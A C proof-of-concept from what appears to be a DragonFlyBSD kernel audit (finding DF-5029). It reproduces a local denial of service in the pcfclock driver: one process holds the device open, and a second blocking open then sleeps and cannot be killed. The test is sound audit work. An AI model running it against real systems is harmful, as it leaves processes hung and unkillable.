⬢ DragonFlyBSD Kernel Audit
DF-5029 / pcf_dos.c
← back to finding ↓ download raw
/*
 * DF-5029 - pcfclock unkillable ppbreq sleep reproducer.
 *
 * Modes:
 *   pcf_dos hold <sec>     open /dev/pcfclock0 (blocking) and hold the ppbus
 *   pcf_dos victim         open /dev/pcfclock0 (blocking, no O_NONBLOCK);
 *                          with the bug this never returns while another
 *                          process holds the bus, and the sleeper cannot be
 *                          killed (tsleep(ppb, 0, "ppbreq", 0) - no PCATCH).
 *   pcf_dos victim_nb      open with O_NONBLOCK -> expect EWOULDBLOCK
 *   pcf_dos read           open (bus free) + read(32) -> expect EIO after
 *                          the bounded retry/busy-wait sequence
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <time.h>

static double now(void)
{
	struct timespec ts;
	clock_gettime(CLOCK_MONOTONIC, &ts);
	return ts.tv_sec + ts.tv_nsec / 1e9;
}

int main(int argc, char **argv)
{
	const char *dev = "/dev/pcfclock0";
	int fd;

	if (argc < 2) {
		fprintf(stderr, "usage: %s hold <sec>|victim|victim_nb|read\n",
		    argv[0]);
		return 2;
	}

	if (!strcmp(argv[1], "hold")) {
		int sec = argc > 2 ? atoi(argv[2]) : 30;
		fd = open(dev, O_RDONLY);
		if (fd < 0) {
			perror("holder open");
			return 3;
		}
		printf("holder: pid=%d opened %s fd=%d, holding ppbus for %ds\n",
		    getpid(), dev, fd, sec);
		fflush(stdout);
		sleep(sec);
		printf("holder: closing\n");
		close(fd);
		return 0;
	}

	if (!strcmp(argv[1], "victim")) {
		double t0 = now();
		printf("victim: pid=%d opening %s (blocking)...\n",
		    getpid(), dev);
		fflush(stdout);
		fd = open(dev, O_RDONLY);
		printf("victim: open returned fd=%d errno=%d (%s) after %.3fs\n",
		    fd, errno, strerror(errno), now() - t0);
		fflush(stdout);
		if (fd >= 0)
			close(fd);
		return 0;
	}

	if (!strcmp(argv[1], "victim_nb")) {
		fd = open(dev, O_RDONLY | O_NONBLOCK);
		printf("victim_nb: open returned fd=%d errno=%d (%s)\n",
		    fd, errno, strerror(errno));
		if (fd >= 0)
			close(fd);
		return 0;
	}

	if (!strcmp(argv[1], "read")) {
		char buf[32];
		ssize_t n;
		double t0;
		fd = open(dev, O_RDONLY);
		if (fd < 0) {
			perror("reader open");
			return 3;
		}
		t0 = now();
		n = read(fd, buf, sizeof(buf));
		printf("reader: read returned %zd errno=%d (%s) after %.3fs\n",
		    n, errno, strerror(errno), now() - t0);
		close(fd);
		return 0;
	}

	fprintf(stderr, "unknown mode %s\n", argv[1]);
	return 2;
}